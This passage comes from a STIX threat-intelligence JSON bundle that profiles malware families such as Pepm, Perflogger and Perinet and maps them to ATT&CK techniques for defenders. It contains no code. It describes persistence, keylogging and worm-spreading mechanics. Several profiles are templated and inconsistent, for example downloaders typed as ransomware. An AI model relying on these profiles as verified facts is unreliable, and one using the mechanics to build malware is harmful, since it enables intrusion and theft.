      "description": "Penzievs exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02dce3aa-00d8-56b9-a9ea-dd4f1046ef71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4b7bf40-ad02-5b2b-9184-bc7471bc1b70",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Penzievs exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a0ccd60-81d9-5cda-beea-5f02c6cb30a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pepex",
      "description": "<h3>Executive Summary</h3>\nPepex is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPepex is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pepex operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pepex ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pepex receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pepex infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pepex executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pepex frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pepex",
        "Downloader.Pepex",
        "Win32/Pepex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pepex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pepex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7c305bb-ecc3-51ff-b3b2-b97f2d023ef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0ccd60-81d9-5cda-beea-5f02c6cb30a3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74f7fac7-b5ed-5f9c-9dcf-712db924d0e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0ccd60-81d9-5cda-beea-5f02c6cb30a3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec720e32-83e1-5a78-8f5b-7b21446cdc09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0ccd60-81d9-5cda-beea-5f02c6cb30a3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pepm",
      "description": "Trojan:Win32/Pepm is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pepm</b><br>To an end-user, a Pepm infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pepm is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pepm is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pepm frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pepm reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pepm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pepm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a8bb173-17fe-58fb-bf2f-06914cf41e90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3a17661-1647-501a-b488-2f15c76504b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a58ca26f-65ac-5dcc-8441-26fdb2f487ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58f57f6a-a2ae-5399-b169-fa9d0e770f54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepm exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb3ec90b-0f33-5743-bc54-31d77e75f80d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4145dc1-e2b2-5c67-9133-8d2b79e82c60",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pepm exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30e6139a-a398-5e54-b26a-2446e7d8dd7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perez",
      "description": "<h3>Executive Summary</h3>\nPerez is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPerez is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Perez operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Perez ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Perez receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Perez infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Perez executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Perez frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Perez",
        "Downloader.Perez",
        "Win32/Perez"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perez",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perez"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc3022d8-7ad0-585f-baad-bdac86208194",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30e6139a-a398-5e54-b26a-2446e7d8dd7e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perez exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be57e34a-36c2-5aba-a32f-03d21ee3abb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30e6139a-a398-5e54-b26a-2446e7d8dd7e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perez exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b4f9b21-be86-5715-b0a8-1b0f1e58825c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30e6139a-a398-5e54-b26a-2446e7d8dd7e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perez exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60ce082a-8e89-5231-8fdc-e53aefe4a6cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perfectoptimizer",
      "description": "Rogue:Win32/Perfectoptimizer represents a classic example of **'Scareware' or Fake System Optimizers**. It is a deceptive program that masquerades as a legitimate Windows utility, antivirus, or registry cleaner. Its sole purpose is to perform a fabricated 'scan' of the system, report hundreds of non-existent critical errors or malware infections, and then aggressively demand that the user purchase a license to 'fix' the problems it just invented.<br><br><b>Understanding Perfectoptimizer (Scareware)</b><br>To an end-user, Perfectoptimizer is highly alarming. It utilizes deceptive UI design, flashing warning icons, and alarming language (e.g., 'CRITICAL SYSTEM FAILURE IMMINENT') to induce panic. It preys on the user's lack of technical knowledge. For a security analyst, Perfectoptimizer is considered a Potentially Unwanted Program (PUP) or Rogue software. While it generally does not encrypt files or steal credentials like a true trojan, it significantly degrades the user experience and represents a successful social engineering attack.<br><br><b>Execution and Deception Mechanics</b><br>Perfectoptimizer is typically distributed via deceptive web advertisements (malvertising), fake software update pop-ups, or bundled tightly with free software downloaded from unverified portals (`T1189`). Upon installation (`T1204.002`), it establishes persistence via the Registry Run keys to ensure it launches every time the computer boots (`T1547.001`). The software then initiates its fake scan, intentionally flagging benign temporary files or standard registry keys as 'Severe Threats'. It constantly generates intrusive pop-up notifications from the system tray (`T1491.001`). To further coerce the user, it may intentionally slow down the computer or block the execution of legitimate administrative tools (like Task Manager or Registry Editor), claiming those tools are 'infected', until the user inputs credit card information into its built-in payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (fraudulent software purchase) and a severely degraded system. Host-based IoCs are obvious: the presence of a highly aggressive, unknown 'optimization' program launching on boot, constant system tray warnings, and the inability to run standard Windows troubleshooting tools. Network IoCs involve traffic to the rogue software's payment processing domains. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perfectoptimizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perfectoptimizer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32918610-0548-5088-a85d-5aa9a06088ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60ce082a-8e89-5231-8fdc-e53aefe4a6cb",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perfectoptimizer exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--931533e3-b7df-5d9f-ad2f-27dfea1decf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60ce082a-8e89-5231-8fdc-e53aefe4a6cb",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perfectoptimizer exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--763e0c0e-2015-58a5-af93-cd2e3e519855",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60ce082a-8e89-5231-8fdc-e53aefe4a6cb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perfectoptimizer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3be6248c-13a2-5f41-9d1a-d324fbdde27a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60ce082a-8e89-5231-8fdc-e53aefe4a6cb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perfectoptimizer exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perflogger",
      "description": "Spyware:Win32/Perflogger is a covert surveillance tool and keylogger designed to secretly record user activity, capture keystrokes, monitor clipboard contents, and exfiltrate sensitive data (such as passwords, financial details, and personal communications) to a remote attacker.<br><br><b>Understanding Perflogger</b><br>To the victim, Perflogger operates entirely invisibly, with no outward signs of infection aside from a potential, minor decrease in system performance. For security analysts, a keylogger represents an immediate and total compromise of user credentials and sensitive data. Perflogger is often deployed as a secondary payload by a dropper trojan, or installed manually by an attacker who has already gained initial access.<br><br><b>Execution and Data Capture Mechanics</b><br>Perflogger typically establishes persistence via Registry Run keys (`T1547.001`) to ensure it starts immediately upon user login. To capture data, it relies heavily on native Windows API hooking. It utilizes `SetWindowsHookEx` to intercept keyboard input globally across all applications (`T1056.001`). It may also periodically capture screenshots (`T1113`) and monitor the system clipboard for copied passwords (`T1115`). The stolen data is temporarily stored locally in hidden, encrypted log files (`T1005`) before being bundled and exfiltrated to a C2 server via FTP, SMTP (email), or HTTP POST requests (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is identity theft, credential compromise, and data breach. Incident responders should monitor EDR for suspicious processes injecting DLLs to hook input APIs, or processes frequently reading the clipboard. A strong IoC is an unknown executable in `%AppData%` generating small, steadily growing, heavily obfuscated log files and occasionally sending them outbound over FTP or SMTP. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perflogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perflogger"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16bb2824-1944-5412-a91e-6ab0755e5026",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perflogger exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15fd8478-661b-5a31-a012-cdcc043677c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perflogger exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--635d3ca3-7f2e-548c-9ef9-3fe3575a4ec5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perflogger exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82dbfd5a-8d7f-541f-9f5e-1b1a1bbeb479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perflogger exhibits technique T1041 (Exfiltration Over C2 Channel (FTP/SMTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d552924-6e31-59dc-b930-7e5c3df8d07c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e478e8c-4fd5-5344-a06d-a5591b462dc3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perflogger exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cba62da9-52b7-521e-8654-7f4c6d043401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perinet",
      "description": "Perinet (classified across threat intelligence repositories under signatures including Worm:Win32/Perinet, Backdoor:Win32/Perinet, and Trojan.Perinet) is a stealthy modular Windows network worm and remote access backdoor active since 2008. Designed for automated lateral movement across enterprise local area networks (LANs), Perinet scans internal subnets for accessible Server Message Block (SMB) file shares with weak or default administrative credentials. Upon gaining access to a remote host, Perinet copies itself into shared administrative folders (ADMIN$, C$) and leverages the Windows Task Scheduler or remote service creation (SVCCTL) to execute its payload. Once established on an endpoint, Perinet connects to remote command-and-control servers over HTTP/IRC, granting threat actors interactive remote command execution, keystroke logging, and internal network proxy capabilities. (Observed samples in benchmark: 24)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Perinet",
        "Backdoor:Win32/Perinet",
        "Trojan.Perinet",
        "Win32/Perinet",
        "Perinet Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perinet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perinet"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perion",
      "description": "Perion (classified across cybersecurity vendors as BrowserModifier:Win32/Perion, Adware:Win32/Perion, and PUA:Win32/Perion) represents a widespread adware, toolbar, and browser modification framework historically tied to monetized software bundling ecosystems (including SweetPacks, IncrediBar, and ClientConnect). Distributed via third-party freeware download aggregators, bundled installers, and deceptive online utility updates, Perion systematically alters web browser configuration settings across Google Chrome, Mozilla Firefox, and Microsoft Edge/Internet Explorer. Without transparent user consent, it replaces default search engines, start pages, and new tab handlers with syndicated search portals (such as Trovi or SweetIM). The software registers persistent Browser Helper Objects (BHOs), establishes Windows background updater services, and adds autostart registry entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Perion monitors web browsing activities, intercepts user search queries, and injects commercial pop-up advertisements and affiliate tracking links into browsing sessions. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Perion",
        "Adware:Win32/Perion",
        "PUA:Win32/Perion",
        "Perion Network Adware",
        "SweetPacks Perion"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perion",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perion"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a24c43bf-6d0c-5370-89ac-9a71faed91a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perion exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00987ac5-fc2e-540b-ab97-de4d3c913909",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perion exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a55a862-2803-550b-b49a-17c1aa3e532f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perion exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebcd20da-2ffe-5df7-8a35-864679740298",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perion exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6394571d-8995-5dec-9a1e-1f896e7ad93d",
      "created": "2026-01-01T00:00:00.000Z",
